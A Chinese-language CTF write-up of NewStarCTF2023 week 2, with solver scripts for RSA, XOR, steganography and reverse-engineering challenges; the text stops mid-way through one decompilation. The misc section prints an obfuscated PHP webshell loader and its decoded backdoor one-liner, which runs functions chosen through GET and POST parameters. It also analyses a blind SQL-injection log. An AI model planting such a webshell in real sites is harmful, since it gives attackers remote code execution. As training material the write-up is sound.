NewStarCTF2023,或者应该叫OldBirdCTF🤣本文为第二周所有题目的题解,可能与官方wp有出入,请见谅。

Week2

记录一下第二周的短暂登顶

Crypto

partial decrypt

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from secret import flag
from Crypto.Util.number import *

m = bytes_to_long(flag)
e = 65537
p = getPrime(512)
q = getPrime(512)

n = p*q

c = pow(m,e,n)

dp = inverse(e, (p-1))
dq = inverse(e, (q-1))
m1 = pow(c,dp, p)
m2 = pow(c,dq, q)
q_inv = inverse(q, p)
h = (q_inv*(m1-m2)) % p
print('m2 =', m2)
print('h =', h)
print('q =', q)

# m2 = 4816725107096625408335954912986735584642230604517017890897348901815741632668751378729851753037917164989698483856004115922538576470127778342121497852554884
# h = 4180720137090447835816240697100630525624574275
# q = 7325294399829061614283539157853382831627804571792179477843187097003503398904074108324900986946175657737035770512213530293277111992799331251231223710406931

该题与已知(p,q,dp,dq,c) 求m的题型类似

原理如下

  • dq:dq ≡ d mod(q - 1)

  • dp:dp ≡ d mod(p - 1)

  • 由费马小定理:

​ 由①式,有:

​ 将③式带入②式,有

​ 将k带入③式,有

​ 故:

exp脚本如下

1
2
3
4
5
6
7
8
9
from Crypto.Util.number import *
e = 65537
m2 = 4816725107096625408335954912986735584642230604517017890897348901815741632668751378729851753037917164989698483856004115922538576470127778342121497852554884
h = 4180720137090447835816240697100630525624574275
q = 7325294399829061614283539157853382831627804571792179477843187097003503398904074108324900986946175657737035770512213530293277111992799331251231223710406931

m = h*q+m2

print(long_to_bytes(m))

得到flag

Rotate Xor

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from secret import flag
from os import urandom
from pwn import xor
from Cryptodome.Util.number import *
k1 = getPrime(64)
k2 = getPrime(64)
ROUND = 12
ciphertext = xor(flag, long_to_bytes(k1))
def round_rotate_left(num, step):
return ((num) << step | num >> (64-step)) & 0xffffffffffffffff
def encrypt_key(key):

for _ in range(ROUND):
key = round_rotate_left(key, 3) ^ k2

return key
print('ciphertext =', ciphertext)
print('enc_k1 =', encrypt_key(k1))
print('k2 =', k2)

# ciphertext = b'\x8dSyy\xd2\xce\xe2\xd2\x98\x0fth\x9a\xc6\x8e\xbc\xde`zl\xc0\x85\xe0\xe4\xdfQlc'
# enc_k1 = 7318833940520128665
# k2 = 9982833494309156947

由于密文用flag和k1异或,所以需要先求k1

分析encrypt_key函数

简单的回转加密,每轮将明文回转左移三位,然后与k2异或,一共进行12轮

那么解密倒着来就行

编写exp脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import xor
from Cryptodome.Util.number import *
ciphertext = b'\x8dSyy\xd2\xce\xe2\xd2\x98\x0fth\x9a\xc6\x8e\xbc\xde`zl\xc0\x85\xe0\xe4\xdfQlc'
enc_k1 = 7318833940520128665
k2 = 9982833494309156947
ROUND = 12
def round_rotate_right(num, step):
return ((num) >> step | num << (64-step)) & 0xffffffffffffffff
def decrypt_key(key):
for _ in range(ROUND):
key = round_rotate_right(key^k2, 3)

return key

k1 = decrypt_key(enc_k1)
flag = xor(ciphertext,long_to_bytes(k1))

print(flag)

得到flag

broadcast

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from secret import flag
from Cryptodome.Util.number import *

menu = '''
Welcome to RSA Broadcasting system

please select your option:

1. brocast the flag
2. exit
'''
e = 17
def broadcast_the_flag():
p = getPrime(256)
q = getPrime(256)
n=p*q
m = bytes_to_long(flag)
c = pow(m,e,n)
print('n =', n)
print('c =', c)
print('e =', e)
while True:
print(menu)
opt = input('> ')
try:
opt = int(opt)
if opt == 1:
broadcast_the_flag()
elif opt == 2:
break
else:
print('invalid option')
except:
print('oh no, something wrong!')

m、e相同,n、c不同,且e比较小,考虑经典的低加密指数广播攻击

编写exp脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import gmpy2
from pwn import *
from functools import reduce
from Crypto.Util.number import long_to_bytes
def CRT(items):
N = reduce(lambda x, y: x * y, (i[1] for i in items))
result = 0
for a, n in items:
m = N // n
d, r, s = gmpy2.gcdext(n, m)
if d != 1:
raise Exception("Input not pairwise co-prime")
result += a * s * m
return result % N, N
# e, n, c
e = 17
n=[]
c=[]
conn = remote('node4.buuoj.cn', 25907)
for i in range(20):
conn.recvuntil(b"2. exit\n")
conn.sendline(b'1')
empty = conn.recvline()
n0 = int(conn.recvline(keepends=False)[5:])
n.append(n0)
c0 = int(conn.recvline(keepends=False)[3:])
c.append(c0)

data = list(zip(c, n))
x, n = CRT(data)
m = int(gmpy2.iroot(gmpy2.mpz(x), e)[0].digits())
print(str(long_to_bytes(m)))

得到flag

halfcandecode

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import *
import gmpy2
from flag import flag
import os
from hashlib import md5

def gen_prime(number):
p = getPrime(number // 2)
q = gmpy2.next_prime(p)
return p * q

def md5_hash(m):
return md5(m.encode()).hexdigest()
e = 65537
n = gen_prime(1024)
m1 = bytes_to_long(flag[:len(flag) // 2].encode() + os.urandom(8))
c1 = pow(m1, e, n)
m2 = flag[len(flag) // 2:]
with open("out.txt","w") as f:
f.write(str(n) + '\n')
f.write(str(c1) + '\n')
for t in m2:
f.write(str(md5_hash(t))+'\n')

前一半flag用RSA加密,后一半求每个字符的md5值

同时捕捉到突破口next_prime函数,一般来说gmpy2计算的下一个素数与上一个之间的差不大,小于1500

那么可以直接开方n,然后遍历得到p和q

编写exp脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from hashlib import md5
from Crypto.Util.number import *
import gmpy2
import string
e = 65537
n = 113021375625152132650190712599981988437204747209058903684387817901743950240396649608148052382567758817980625681440722581705541952712770770893410244646286485083142929097056891857721084849003860977390188797648441292666187101736281034814846427200984062294497391471725496839508139522313741138689378936638290593969
c1 = 43054766235531111372528859352567995977948625157340673795619075138183683929001986100833866227688081563803862977936680822407924897357491201356413493645515962458854570731176193055259779564051991277092941379392700065150286936607784073707448630150405898083000157174927733260198355690620639487049523345380364948649
alphabet = string.ascii_letters + string.digits + '_}'

n_2 = gmpy2.iroot(n,2)[0]
for i in range(n_2,n_2+1000):
if (n%i==0):
p = i
q = n//p
break
phi_n = (p-1) * (q-1)
d = pow(e,-1,phi_n)
m1 = c1 = pow(c1, d, n)
flag = long_to_bytes(m1)[:-8].decode()
with open("out.txt","r") as f:
data = f.readlines()
for i in range(2,len(data)):
md5_val = data[i].replace('\n','')
for i in alphabet:
if(md5(i.encode()).hexdigest()==md5_val):
flag += i
break
print(flag)

得到flag

不止一个pi

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flag import flag
from Crypto.Util.number import *
import gmpy2
p = getPrime(1024)
q = getPrime(1024)
n = p**3*q**2
print("q = ",q)
print("p = ",p)
m = bytes_to_long(flag.encode())
c = pow(m,65537,n)
print("c = ",c)

# q = 115478867870347527660680329271012852043845868401928361076102779938370270670897498759391844282137149013845956612257534640259997979275610235395706473965973203544920469416283181677660262509481282536465796731401967694683575843183509430017972506752901270887444490905891490955975762524187534052478173966117471143713
# p = 171790960371317244087615913047696670778115765201883835525456016207966048658582417842936925149582378305610304505530997833147251832289276125084339614808085356814202236463900384335878760177630501950384919794386619363394169016560485152083893183420911295712446925318391793822371390439655160077212739260871923935217
# c = 4459183928324369762397671605317600157512712503694330767938490496225669985050002776253470841193156951087663107866714426230222002399666306287642591077990897883174134404896800482234781531592939043551832049756571987010173667074168282355520711905659013076509353523088583347373358980842707686611157050425584598825151399870268083867269912139634929397957514376826145870752116583185351576051776627208882377413433140577461314504762388617595282085102271510792305560608934353515552201553674287954987323321512852114353266359364282603487098916608302944694600227628787791876600901537888110093703612414836676571562487005330299996908873589228072982641114844761980143047920770114535924959765518365614709272297666231481655857243004072049094078525569460293381479558148506346966064906164209362147313371962567040047084516510135054571080612077333228195608109065475260832580192321853906138811139036658485688320161530131239854003996457871663456850196483520239675981391047452381998620386899101820782421605287708727667663038905378115235163773867508258208867367314108701855709002634592329976912239956212490788262396106230191754680813790425433763427315230330459349320412354189010684525105318610102936715203529222491642807382215023468936755584632849348996666528981269240867612068382243822300418856599418223875522408986596925018975565057696218423036459144392625166761522424721268971676010427096379610266649911939139451989246194525553533699831110568146220347603627745407449761792135898110139743498767543521297525802809254842518002190381508964357001211353997061417710783337

经典的多素数因子题目

信安数基里的重点内容,考虑到会有新手看我的wp,所以列一下原理

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *
q = 115478867870347527660680329271012852043845868401928361076102779938370270670897498759391844282137149013845956612257534640259997979275610235395706473965973203544920469416283181677660262509481282536465796731401967694683575843183509430017972506752901270887444490905891490955975762524187534052478173966117471143713
p = 171790960371317244087615913047696670778115765201883835525456016207966048658582417842936925149582378305610304505530997833147251832289276125084339614808085356814202236463900384335878760177630501950384919794386619363394169016560485152083893183420911295712446925318391793822371390439655160077212739260871923935217
c = 4459183928324369762397671605317600157512712503694330767938490496225669985050002776253470841193156951087663107866714426230222002399666306287642591077990897883174134404896800482234781531592939043551832049756571987010173667074168282355520711905659013076509353523088583347373358980842707686611157050425584598825151399870268083867269912139634929397957514376826145870752116583185351576051776627208882377413433140577461314504762388617595282085102271510792305560608934353515552201553674287954987323321512852114353266359364282603487098916608302944694600227628787791876600901537888110093703612414836676571562487005330299996908873589228072982641114844761980143047920770114535924959765518365614709272297666231481655857243004072049094078525569460293381479558148506346966064906164209362147313371962567040047084516510135054571080612077333228195608109065475260832580192321853906138811139036658485688320161530131239854003996457871663456850196483520239675981391047452381998620386899101820782421605287708727667663038905378115235163773867508258208867367314108701855709002634592329976912239956212490788262396106230191754680813790425433763427315230330459349320412354189010684525105318610102936715203529222491642807382215023468936755584632849348996666528981269240867612068382243822300418856599418223875522408986596925018975565057696218423036459144392625166761522424721268971676010427096379610266649911939139451989246194525553533699831110568146220347603627745407449761792135898110139743498767543521297525802809254842518002190381508964357001211353997061417710783337
e = 65537

n= p * q
phi_n = (p-1)*p**2*(q-1)*q
d = pow(e,-1,phi_n)
m = pow(c,d,n)

print(long_to_bytes(m))

得到flag

滴啤

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flag import flag
from Crypto.Util.number import *
import gmpy2
p = getPrime(1024)
q = getPrime(1024)
n = p**3*q**2
print("q = ",q)
print("p = ",p)
m = bytes_to_long(flag.encode())
c = pow(m,65537,n)
print("c = ",c)

# q = 115478867870347527660680329271012852043845868401928361076102779938370270670897498759391844282137149013845956612257534640259997979275610235395706473965973203544920469416283181677660262509481282536465796731401967694683575843183509430017972506752901270887444490905891490955975762524187534052478173966117471143713
# p = 171790960371317244087615913047696670778115765201883835525456016207966048658582417842936925149582378305610304505530997833147251832289276125084339614808085356814202236463900384335878760177630501950384919794386619363394169016560485152083893183420911295712446925318391793822371390439655160077212739260871923935217
# c = 4459183928324369762397671605317600157512712503694330767938490496225669985050002776253470841193156951087663107866714426230222002399666306287642591077990897883174134404896800482234781531592939043551832049756571987010173667074168282355520711905659013076509353523088583347373358980842707686611157050425584598825151399870268083867269912139634929397957514376826145870752116583185351576051776627208882377413433140577461314504762388617595282085102271510792305560608934353515552201553674287954987323321512852114353266359364282603487098916608302944694600227628787791876600901537888110093703612414836676571562487005330299996908873589228072982641114844761980143047920770114535924959765518365614709272297666231481655857243004072049094078525569460293381479558148506346966064906164209362147313371962567040047084516510135054571080612077333228195608109065475260832580192321853906138811139036658485688320161530131239854003996457871663456850196483520239675981391047452381998620386899101820782421605287708727667663038905378115235163773867508258208867367314108701855709002634592329976912239956212490788262396106230191754680813790425433763427315230330459349320412354189010684525105318610102936715203529222491642807382215023468936755584632849348996666528981269240867612068382243822300418856599418223875522408986596925018975565057696218423036459144392625166761522424721268971676010427096379610266649911939139451989246194525553533699831110568146220347603627745407449761792135898110139743498767543521297525802809254842518002190381508964357001211353997061417710783337

dp泄漏的题

原理如下:

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Util.number import long_to_bytes

e = 65537
n = 93172788492926438327710592564562854206438712390394636149385608321800134934361353794206624031396988124455847768883785503795521389178814791213054124361007887496351504099772757164211666778414800698976335767027868761735533195880182982358937211282541379697714874313863354097646233575265223978310932841461535936931
dp = 307467153394842898333761625034462907680907310539113349710634557900919735848784017007186630645110812431448648273172817619775466967145608769260573615221635
c = 52777705692327501332528487168340175436832109866218597778822262268417075157567880409483079452903528883040715097136293765188858187142103081639134055997552543213589467751037524482578093572244313928030341356359989531451789166815462417484822009937089058352982739611755717666799278271494933382716633553199739292089


for i in range(1, e + 1):
if (dp * e - 1) % i == 0:
if n % (((dp * e - 1) // i) + 1) == 0:
p = ((dp * e - 1) // i) + 1
q = n // (((dp * e - 1) // i) + 1)
phi_n = (p - 1) * (q - 1)
d = pow(e,-1,phi_n)
m = pow(c, d, n)
print(long_to_bytes(m))

得到flag

Misc

永不消逝的电波

音频题先丢Audacity看看波形

大概率摩斯电码

手抄解码一下

转一波小写就得到flag

flag{thebestctferisyou}

新建Word文档

全选后在字体设置里解除隐藏文字

得到密文

新佛曰:毘諸隸僧降吽諸陀摩隸僧缽薩願毘耨咤陀願羅咤喃修願宣亦宣寂叻寂阿是吽阿塞尊劫毘般毘所聞降毘咒塞尊薩咒毘所若降般斯毘嚴毘嚴波斯迦毘色毘波嚴毘喃念若修嘚般毘我毘如毘如囑囑

在线解密

image-20231001235048673

1-序章

首先要理解sql盲注的原理

当注入正确时就会执行sleep()函数,在日志中的体现就是时间变化

此时会去测试下一位,说明上一条信息测试正确

我们可以把位数变化时的前一条信息筛选出来,并获取每一位的正确ASCII码值

编写脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from urllib import parse
asc = []
flag = ''
bit_now = 1
with open("access.log","r",encoding="utf-8") as f:
data = f.readlines()
for i in range(len(data)):
bit = ''
msg = data[i]
for j in range(169, 171):
if ord(msg[j])>=48 and ord(msg[j])<=57:
bit += msg[j]
bit = int(bit)
if bit>bit_now:
bit_now = bit
msg = parse.unquote(data[i-1])
print(msg)
asc0 = ''
for j in range(161,165):
if ord(msg[j])>=48 and ord(msg[j])<=57:
asc0 += msg[j]
asc.append(asc0)
for asc0 in asc:
flag += chr(int(asc0))

print(flag)

得到flag

WebShell的利用

源码如下

1
2
3
<?php
eval(str_rot13(convert_uudecode(str_rot13(base64_decode('base64………………')))))
?>

可以看出eval函数中的内容嵌套了数层编码

在本地输出解码的运行结果

image-20231002141132819

发现结果仍然是相同的编码结构,虽然变短了

那就多跑几遍

编写如下脚本

1
2
3
4
5
6
7
8
9
10
<?php
$a = 'xxx'
while($a[0]=='W')
{
$a = str_rot13(convert_uudecode(str_rot13(base64_decode($a))));
if(strlen($a)>64)
$a = substr($a,57,strlen($a)-64);
}
echo $a;
?>

最终得到eval中执行的命令

error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']);

GET参数作为函数名,POST请求作为执行的指令

base

给这么多行base64,一眼base64隐写

隐写原理是后面补的0用其他数据填充

直接跑脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# base64隐写
import base64


def get_diff(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in range(len(s2)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res


def b64_stego_decode():
file = open("base.txt", "rb")
x = '' # x即bin_str
lines = file.readlines()
for line in lines:
l = str(line, encoding="utf-8")
stego = l.replace('\n', '')
realtext = base64.b64decode(l)
realtext = str(base64.b64encode(realtext), encoding="utf-8")
diff = get_diff(stego, realtext) # diff为隐写字串与实际字串的二进制差值
n = stego.count('=')
if diff:
x += bin(diff)[2:].zfill(n * 2)
else:
x += '0' * n * 2

i = 0
flag = ''
while i < len(x):
if int(x[i:i + 8], 2):
flag += chr(int(x[i:i + 8], 2))
i += 8
print(flag)


if __name__ == '__main__':
b64_stego_decode()

得到一个密文iDMb6ZMnTFMtFuouYZHwPTYAoWjC7Hjca8

丢进cyberchef,得到flag

Jvav

感觉是傅里叶盲水印

使用如下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import cv2 as cv
import numpy as np
import matplotlib.pyplot as plt
img = cv.imread('./challenge.png', 0) #直接读为灰度图像,不过此题已经是灰度图片了
f = np.fft.fft2(img) #做频率变换
fshift = np.fft.fftshift(f) #转移像素做幅度谱
s1 = np.log(np.abs(fshift))#取绝对值:将复数变化成实数取对数的目的为了将数据变化到0-255
plt.subplot(121)
plt.imshow(img, 'gray')
plt.title('original')
plt.subplot(122)
plt.imshow(s1,'gray')
plt.title('center')
plt.show()

脚本不行,看题目名字,可能是用的java编写的工具进行水印加密

无奈只能找工具了

Releases · ww23/BlindWatermark (github.com)

执行命令java -jar BlindWatermark-v0.0.3-windows-x86_64-gpu.jar decode -c challenge.png decode.png

得到水印

Reverse

PZthon

查壳,提示可能是python编写,PyInstaller打包的exe文件

使用pyinstxtractor进行解包

得到PZthon.pyc文件

使用在线网站python反编译 - 在线工具 (tool.lu)反编译

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.9


def hello():
art = '\n ___ \n // ) ) / / // ) ) // | | / / // | | \\ / / \\ / / \n //___/ / / / // //__| | / / //__| | \\ / \\ / / \n / ____ / / / // ____ / ___ | / / / ___ | / / \\/ / \n // / / // / / // | | / / // | | / /\\ / / \n// / /___ ((____/ / // | | / /____/ / // | | / / \\ / / \n \n / / // / / || / / // / / / / /__ ___/ || / | / / // ) ) \n / / //____ || / / //____ / / / / || / | / / // / / \n / / / ____ || / / / ____ / / / / || / /||/ / // / / \n / / // ||/ / // / / / / ||/ / | / // / / \n / /____/ / //____/ / | / //____/ / / /____/ / / / | / | / ((___/ / \n'
print(art)
return bytearray(input('Please give me the flag: ').encode())

enc = [
115,
121,
116,
114,
110,
76,
37,
96,
88,
116,
113,
112,
36,
97,
65,
125,
103,
37,
96,
114,
125,
65,
39,
112,
70,
112,
118,
37,
123,
113,
69,
79,
82,
84,
89,
84,
77,
76,
36,
112,
99,
112,
36,
65,
39,
116,
97,
36,
102,
86,
37,
37,
36,
104]
data = hello()
for i in range(len(data)):
data[i] = data[i] ^ 21
if bytearray(enc) == data:
print('WOW!!')
else:
print('I believe you can do it!')
input('To be continue...')

编写解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
enc = [
115,
121,
116,
114,
110,
76,
37,
96,
88,
116,
113,
112,
36,
97,
65,
125,
103,
37,
96,
114,
125,
65,
39,
112,
70,
112,
118,
37,
123,
113,
69,
79,
82,
84,
89,
84,
77,
76,
36,
112,
99,
112,
36,
65,
39,
116,
97,
36,
102,
86,
37,
37,
36,
104]
flag = ''
for i in range(len(enc)):
flag += chr(enc[i] ^ 21)
print(flag)

得到flag

AndroGenshin

拖进jadx,找到主入口

用户名是genshinimpact,密码使用特殊加密函数,流密码rc4和换表base64

编写脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import base64

def rc4(keyStr, data):
key = keyStr.encode()
s = list(range(256))
k = [key[i % len(key)] for i in range(256)]
j = 0
for i in range(256):
j = (s[i] + j + k[i]) & 255
temp = s[i]
s[i] = s[j]
s[j] = temp
result = []
j2 = 0
i3 = 0
for i4 in data:
i3 = (i3 + 1) & 255
j2 = (s[i3] + j2) & 255
temp2 = s[i3]
s[i3] = s[j2]
s[j2] = temp2
rnd = s[(s[i3] + s[j2]) & 255]
result.append(chr(i4 ^ rnd))
return ''.join(result)

STANDARD_ALPHABET = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

def decode(input):
return base64.b64decode(input.translate(bytes.maketrans(STANDARD_ALPHABET,retval.encode())))

base64_table = [125, 239, 101, 151, 77, 163, 163, 110, 58, 230, 186, 206, 84, 84, 189, 193, 30, 63, 104, 178, 130, 211, 164, 94, 75, 16, 32, 33, 193, 160, 120, 47, 30, 127, 157, 66, 163, 181, 177, 47, 0, 236, 106, 107, 144, 231, 250, 16, 36, 34, 91, 9, 188, 81, 5, 241, 235, 3, 54, 150, 40, 119, 202, 150]
username = 'genshinimpact'
enc_pass = 'YnwgY2txbE8TRyQecyE1bE8DZWMkMiRgJW1='
retval = rc4(username,base64_table)
password = decode(enc_pass)
print(password.decode())

得到flag

C?C++?

ghidra分析一下,发现是C#程序

使用dnSpy反编译得到源码

分析之后发现只有array1、array2和array3与flag相关,感觉有点问题

换成用Reflector反编译

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
private static unsafe void Main(string[] args)
{
int num = 0x23;
int index = 0;
int[] numArray = new int[] {
0x44, 0x4b, 0x42, 0x48, 0x63, 0x13, 0x13, 0x4e, 0x53, 0x4a, 0x5b, 0x56, 0x23, 0x27, 0x4d, 0x55,
0x2c, 0x59, 0x2f, 0x5c, 0x31, 0x58, 0x30, 0x5b, 0x58, 0x66, 0x69, 0x33, 0x4c, 0x73, -124, 0x7d,
0x4f, 0x7a, -103
};
char[] chArray = new char[0x23];
int[] numArray2 = new int[0x23];
Console.Write("Input your flag: ");
string str = Console.ReadLine();
int num3 = 0;
while (true)
{
if (num3 >= str.Length)
{
string str2 = "NEWSTAR";
int num4 = 0;
while (true)
{
if (num4 >= num)
{
index = 0;
while (true)
{
if (index >= 7)
{
int num5 = 0;
while (true)
{
if (num5 >= num)
{
int num7 = 0;
while (true)
{
if (num7 >= 0x23)
{
break;
}
if ((num7 == 0x22) && (numArray2[num7] == numArray[num7]))
{
Console.WriteLine("Right!");
}
if (numArray2[num7] != numArray[num7])
{
Console.WriteLine("Wrong!");
break;
}
num7++;
}
return;
}
numArray2[num5] = chArray[num5];
num5++;
}
}
char* chPtr3 = &(chArray[index]);
chPtr3[0] = (char) (chPtr3[0] + ((char) (index ^ -(str2[index] % '\x0004'))));
char* chPtr4 = &(chArray[index + 7]);
chPtr4[0] = (char) (chPtr4[0] + ((char) (str2[index] % '\x0005')));
char* chPtr5 = &(chArray[index + 14]);
chPtr5[0] = (char) (chPtr5[0] + ((char) (2 * index)));
char* chPtr6 = &(chArray[index + 0x15]);
chPtr6[0] = (char) (chPtr6[0] + ((char) (index ^ 2)));
char* chPtr7 = &(chArray[index + 0x1c]);
chPtr7[0] = (char) (chPtr7[0] + ((char) ((str2[index] / '\x0005') + 10)));
index++;
}
}
char* chPtr1 = &(chArray[num4]);
chPtr1[0] = (char) (chPtr1[0] + ((char) num4));
char* chPtr2 = &(chArray[num4]);
chPtr2[0] = (char) (chPtr2[0] - ' ');
num4++;
}
}
chArray[num3] = str[num3];
num3++;
}
}

输入先被放进chArray

接着在一个循环里,每一位输入的字符加上位数再减去空格的ASCII码

第二轮里与str2进行一些处理

编写解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
array = [
68,
75,
66,
72,
99,
19,
19,
78,
83,
74,
91,
86,
35,
39,
77,
85,
44,
89,
47,
92,
49,
88,
48,
91,
88,
102,
105,
51,
76,
115,
-124,
125,
79,
122,
-103
]
flag = ''
num3 = 0
num = 0x23
while True:
str2 = "NEWSTAR"
num4 = 0
index = 0
while True:
if index >= 7:
while True:
if num4 >= num:
for i in array:
if(i<0):
i+=256
flag += chr(i)
print(flag)
print(chr(131))
exit()
array[num4] = array[num4] - num4
array[num4] = array[num4] + ord(' ')
num4 += 1
array[index] = array[index] - (index ^ -(ord(str2[index]) % 4))
array[index + 7] = array[index + 7] - (ord(str2[index]) % 5)
array[index + 14] = array[index + 14] - (2 * index)
array[index + 0x15] = array[index + 0x15] - (index ^ 2)
array[index + 0x1c] = array[index + 0x1c] - ((ord(str2[index]) // 5) + 10)
index += 1

需要注意的是,数组里有两个小于0的ASCII码,最后转为字符串时需要+256

得到flag

Petals

丢进IDA

main函数源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall main(int a1, char **a2, char **a3)
{
unsigned int v4; // [rsp+Ch] [rbp-4h]

puts("Here is a pack of flowers, to my best love --- you.");
puts("But I must check your identity, please input the right passwd");
__isoc99_scanf();
v4 = strlen(byte_4080);
if ( strlen(byte_4080) != 25 )
{
puts("Please check your input's format!");
exit(-1);
}
((void (__fastcall *)())((char *)&sub_1208 + 1))();
sub_160C(byte_4080, &unk_4020, v4);
printf("If you are succeed, the flag is flag{md5(your input)}");
return 0LL;
}

应该是被加了壳

结合题目名,猜测是花指令干扰了IDA

找到花指令,手动清除:将0x00001208设置为数据类型,还有0x000013B0

成功得到sub_1029函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 __fastcall sub_1209(__int64 a1, unsigned int a2)
{
int i; // [rsp+18h] [rbp-118h]
unsigned int j; // [rsp+1Ch] [rbp-114h]
__int64 v5[33]; // [rsp+20h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+128h] [rbp-8h]

v6 = __readfsqword(0x28u);
memset(v5, 0, 256);
for ( i = 0; i <= 255; ++i )
*((_BYTE *)v5 + i) = ~(i ^ a2);
for ( j = 0; a2 > j; ++j )
*(_BYTE *)((int)j + a1) = *((_BYTE *)v5 + *(unsigned __int8 *)((int)j + a1));
return v6 - __readfsqword(0x28u);
}

编写exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import hashlib
c ='D0D085858080C58A9389928F87889F8FC584D6D1D282D3DE87'
a2 = 25
flag = ''
v5 = []
for i in range(256):
r = ~(i ^ a2)
if r<0:
r+=256
v5.append(r)
for i in range(25):
c0 = int(c[i * 2:i * 2 + 2], 16)
for j in range(256):
if(c0==v5[j]):
flag +=chr(j)

print(flag)
enc_flag = hashlib.md5(flag.encode()).hexdigest()
print('flag{'+enc_flag+'}')

得到flag

SMC

main函数源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
DWORD *v3; // eax

v3 = (DWORD *)malloc(0x26u);
VirtualProtect(&byte_403040, 0x26u, 0x40u, v3);
puts("Please enter your flag:");
sub_401025("%s", (char)&unk_4033D4);
if ( NtCurrentPeb()->BeingDebugged )
{
MessageBoxA(0, "Debug Detected!", "Warning!", 0);
Sleep(0x1388u);
exit(0);
}
sub_401042();
if ( ((int (__cdecl *)(void *, void *))byte_403040)(&unk_4033D4, &unk_403020) )
puts("Win!");
else
puts("Lose!");
return system("pause");
}

这里被VirtualProtect修改权限的函数为byte_403040,猜测其进行SMC加密

跟踪sub_401042函数可以看到加密的过程

编写IDC脚本解密

1
2
3
4
5
6
import idc
addr = 0x403040
for i in range(38):
result = get_bytes(0x403068 + (i&3), 1)
b = get_bytes(addr +i, 1)
idc.patch_byte(addr + i, ord(b) ^ ord(result))

得到正常函数

反编译源码如下

1
2
3
4
5
6
7
8
9
10
11
12
char sub_403040()
{
int v0; // edx

v0 = 0;
while ( ((unsigned __int8)byte_4033D4[v0] ^ 0x11) + 5 == (unsigned __int8)byte_403020[v0] )
{
if ( ++v0 >= 32 )
return 1;
}
return 0;
}

编写解题脚本

此处要注意,由于是小端,每两个字节间要进行换位

1
2
3
4
5
6
c = '827C7B75476F5761255353478425276A27686A67847D357B48357B256A7E7133'
flag = ''
for i in range(len(c)//2):
flag += chr((int(c[i*2:i*2+2],16)-5)^0x11)

print(flag)

R4ndom

反编译源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v3; // bl
int v4; // eax
int i; // [rsp+Ch] [rbp-94h]
__int64 s2[6]; // [rsp+10h] [rbp-90h] BYREF
__int16 v8; // [rsp+40h] [rbp-60h]
char s[8]; // [rsp+50h] [rbp-50h] BYREF
__int64 v10; // [rsp+58h] [rbp-48h]
__int64 v11; // [rsp+60h] [rbp-40h]
__int64 v12; // [rsp+68h] [rbp-38h]
__int64 v13; // [rsp+70h] [rbp-30h]
__int64 v14; // [rsp+78h] [rbp-28h]
__int16 v15; // [rsp+80h] [rbp-20h]
unsigned __int64 v16; // [rsp+88h] [rbp-18h]

